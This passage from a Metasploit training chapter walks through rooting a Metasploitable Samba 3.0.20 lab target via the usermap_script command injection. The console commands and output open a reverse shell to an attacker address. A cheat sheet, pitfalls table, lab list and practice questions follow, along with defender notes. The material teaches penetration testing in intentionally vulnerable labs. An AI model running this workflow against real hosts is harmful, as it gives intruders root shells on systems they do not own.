[*] 10.10.10.5:445 - SMB Detected (versions:1) (preferred dialect:...)
[*] 10.10.10.5:445 - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Note the flow: use → show options → set RHOSTS → run. That four-beat rhythm is every module. The result is also written back to the database as a note on the host.
Step 3 — Select an exploit, read it, and check
The Samba 3.0.20 banner points at the usermap_script command-injection vulnerability (CVE-2007-2447) — an excellent-rank exploit because it is command injection, not memory corruption, so it cannot crash the box.
msf6 > search usermap_script
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
msf6 > use 0
msf6 exploit(multi/samba/usermap_script) > info
...
Rank: Excellent
Description:
This module exploits a command execution vulnerability in Samba
versions 3.0.20 through 3.0.25rc3 ... by specifying a username
containing shell meta characters...
Reading info confirms it matches our target's version and is safe to run. This module's Check column is No, so we cannot pre-test — we rely on the version match instead.
Step 4 — Choose a payload and set options
Because this is a multi/ exploit against a Unix target, a Unix reverse shell fits:
msf6 exploit(multi/samba/usermap_script) > show payloads
...
cmd/unix/reverse
cmd/unix/reverse_netcat
cmd/unix/bind_netcat
...
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > setg LHOST 10.10.14.7
LHOST => 10.10.14.7
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.5
RHOSTS => 10.10.10.5
msf6 exploit(multi/samba/usermap_script) > show missing
Nothing missing.
setg LHOST once means every subsequent module already knows your attacker IP — the datastore pattern from Part 6 in action.
Step 5 — Exploit
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP double handler on 10.10.14.7:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8sh3n2...
[*] Writing to socket A
[*] Writing to socket B
[*] Command shell session 1 opened (10.10.14.7:4444 -> 10.10.10.5:41234)
id
uid=0(root) gid=0(root)
hostname
metasploitable
You have a root command shell — session 1. Note the connect-back to 10.10.14.7:4444, exactly the IOC a defender watches for (Part 11).
Step 6 — Manage the session
# background the shell without killing it (Ctrl-Z, then y)
[*] Backgrounding session 1...
msf6 exploit(multi/samba/usermap_script) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell cmd/unix 10.10.14.7:4444 -> 10.10.10.5:41234
msf6 > sessions -i 1 # jump back in
msf6 > sessions -k 1 # kill it when done
Step 7 — Save the workflow as a resource script
msf6 > makerc /root/lab_samba.rc
[*] Saving last 12 commands to /root/lab_samba.rc ...
Now msfconsole -q -r /root/lab_samba.rc replays the entire lab. You have gone from a fresh console to recon-in-database to a scanner to a ranked exploit to a root shell to a repeatable script — the full Part-1 loop.
Part 13: Common Pitfalls and How to Avoid Them
| Pitfall | Symptom | Fix |
|---|---|---|
| Database not connected | No hosts/services, slow search |
sudo msfdb init; check db_status |
RHOST vs RHOSTS |
"missing required option" though you set it | Use plural RHOSTS on modern modules; run show missing |
| Stale global datastore | Payload calls back to an old IP | unsetg LHOST or setg the correct one; audit with get |
| Wrong/unset payload | Exploit "works" but no session | set PAYLOAD explicitly; confirm with show options |
| Handler port in use | "address already in use" | jobs/jobs -k to kill a dangling handler |
| Low-rank exploit on prod | Service crash / bluescreen | Prefer excellent/great; use check; get change approval |
| Wrong target build | Exploit fires but fails/crashes | show targets, set it explicitly from your enumeration |
| Trusting auto-target blindly | Silent failure | Fingerprint first (Chapter 2), then set TARGET |
| LHOST behind NAT | Reverse shell never arrives | Set LHOST to the routable/interface IP the target can reach; forward LPORT |
Forgetting background |
Killing a shell to run a scan | Ctrl-Z / background, then sessions -i |
A meta-pitfall: treating Metasploit as a magic button. Every failure above comes from not understanding one of the parts we built up — datastore, payload, target, session, job, database. The framework rewards operators who understand the engine.
Part 14: Final Revision / Summary
- Metasploit is a framework, not a button. It decouples exploit, payload, encoder, nop and handler so any compatible payload attaches to any exploit — that pick-and-mix design is the whole point.
- Architecture: interfaces (
msfconsole,msfvenom, RPC) → core (module manager, datastore, session/job managers) → libraries (Rex,Msf::Core) → modules on disk → PostgreSQL database. - Seven module types: exploit, auxiliary, payload, encoder, nop, post, evasion. Read a module path as
type/platform/service/name. - msfconsole rhythm:
search→use→info→show options→set/setg→check→run, thensessions/jobsto manage results. - Datastore: module-local
setoverrides globalsetg; setLHOSTonce globally,RHOSTSper target.RHOSTSis plural. - Search filters (
type:,platform:,cve:,rank:,port:) turn tens of thousands of modules into a short, high-quality list. - Rank is a risk signal: prefer
excellent/great, usecheck, keep low-rank memory-corruption modules to lab or change-approved windows. - The database (workspaces,
db_nmap,hosts,services,creds,loot) turns the framework into an engagement platform with automatic scan → store → module → store loops. - Sessions and jobs:
backgroundkeeps shells alive;exploit -jbackgrounds handlers; resource scripts (.rc,makerc) automate repeatable workflows. - Defenders watch the defaults: port 4444, Meterpreter TLS fingerprints, loud scanning, stager download patterns, and on-host post-exploitation artifacts. Patching, egress filtering, EDR and segmentation blunt the framework directly.
The next chapter (Chapter 4) goes deep on the other half of the pick-and-mix: exploits, payloads, staged vs stageless in practice, sessions, and the full power of Meterpreter — the in-memory payload that makes post-exploitation so effective.
Part 15: Cheat Sheet / Quick Reference
Setup & database
msfconsole --version # check version
sudo systemctl start postgresql
sudo msfdb init # create/init database (once)
msfdb status # DB running & initialised?
msfconsole -q # launch quiet (no banner)
msfconsole -q -r file.rc # launch and run a resource script
msfconsole -x "use ...; run" # run commands non-interactivelyInside msfconsole — selection & config
search type:exploit platform:windows cve:2017-0144
use <path|index> # select a module
info # full module datasheet
back / previous # deselect / switch
show options | show missing # required settings
show targets / show payloads # variants & compatible payloads
show advanced / show evasion
set RHOSTS 10.10.10.5 # module-local option
setg LHOST 10.10.14.7 # global option (sticky)
unset / unsetg / get NAME
Execution & sessions
check # safe vuln test (if supported)
run | exploit # fire the module
exploit -j # run as background job
exploit -z # run, don't auto-interact
sessions / -i N # list / interact
sessions -k N | -K # kill one / all
sessions -u N # upgrade shell to Meterpreter
background # leave a session alive (Ctrl-Z)
jobs / jobs -k N / kill N # manage background jobs
Database
workspace -a name # new workspace (per engagement)
db_nmap -sV -sC 10.0.0.0/24 # scan + auto-import
db_import scan.xml # import Nmap/Nessus/etc.
hosts | services | vulns
creds | loot | notes
services -p 445 -s smb -u # filtered service query
Automation
makerc /path/out.rc # record session commands to a script
resource /path/in.rc # run a resource script
Search filter keywords
type: platform: cve: name: path: author:
rank: arch: port: app: disclosure_date:
Part 16: Practice Labs & Resources
Train this chapter's exact skills — driving the framework, searching modules, using the datastore and database, and managing sessions — on targets built for it:
- TryHackMe — "Metasploit: Introduction" and "Metasploit: Exploitation" rooms. The introduction room walks the exact
search/use/options/runloop and the module taxonomy from this chapter; the exploitation room drives auxiliary scanners and the database. - TryHackMe — "Metasploit: Meterpreter" to bridge into Chapter 4 (payloads/Meterpreter), but its early tasks reinforce session management from Part 10.
- Metasploitable 2 and Metasploitable 3 (Rapid7's free intentionally-vulnerable VMs). The
usermap_scriptSamba root shell in the lab is on Metasploitable 2 out of the box; Metasploitable 3 adds a Windows target for the exploit/target/payload workflow. - TryHackMe — "Blue" and "Ice" — real end-to-end Metasploit boxes (EternalBlue and a media server exploit) that exercise rank, targets, payload selection and Meterpreter sessions against Windows.
- HackTheBox — "Lame" — the classic first HTB machine, rooted via the same Samba
usermap_scriptmodule used in this chapter's lab; a perfect check that you can reproduce the workflow on an unseen box. - HackTheBox — "Legacy" and "Blue" — MS08-067 and MS17-010 respectively, ideal for practising
show targets, exploit rank and staged Windows payloads. - Rapid7 Metasploit Documentation (docs.metasploit.com) and the in-console
help/info— the authoritative reference for every command and module.
Work each target the professional way: workspace -a first, db_nmap into the database, confirm with an auxiliary scanner, read info before firing, prefer check and high ranks, and makerc the workflow when it works. That discipline — not memorising module names — is what this chapter is really teaching.
Practice questions
- Explain, in datastore terms, why
setg LHOSTfollowed byset RHOSTSin each module is more efficient — and occasionally more dangerous — than setting both locally every time. What command audits a stale global? - You have a Windows target confirmed as Server 2012 R2 x64 from enumeration. Walk through the exact commands to select an SMB exploit, choose the correct target build rather than trusting auto-detection, attach an x64 Meterpreter reverse payload, and background the resulting session.
- A teammate says "just run the exploit, it's fine." The module is rank
averageand the target is a production database server. What do you check first, which command probes safely if available, and what would you require before firing? - Describe three distinct network- or host-level signals a blue team could use to detect the Part-12 lab workflow, and one hardening control that would defeat the reverse shell entirely.
- Write a four-line resource script that stands up a background
multi/handlerfor an x64 Meterpreter reverse_tcp payload on your attacker IP, and give the single command that launchesmsfconsoleand runs it.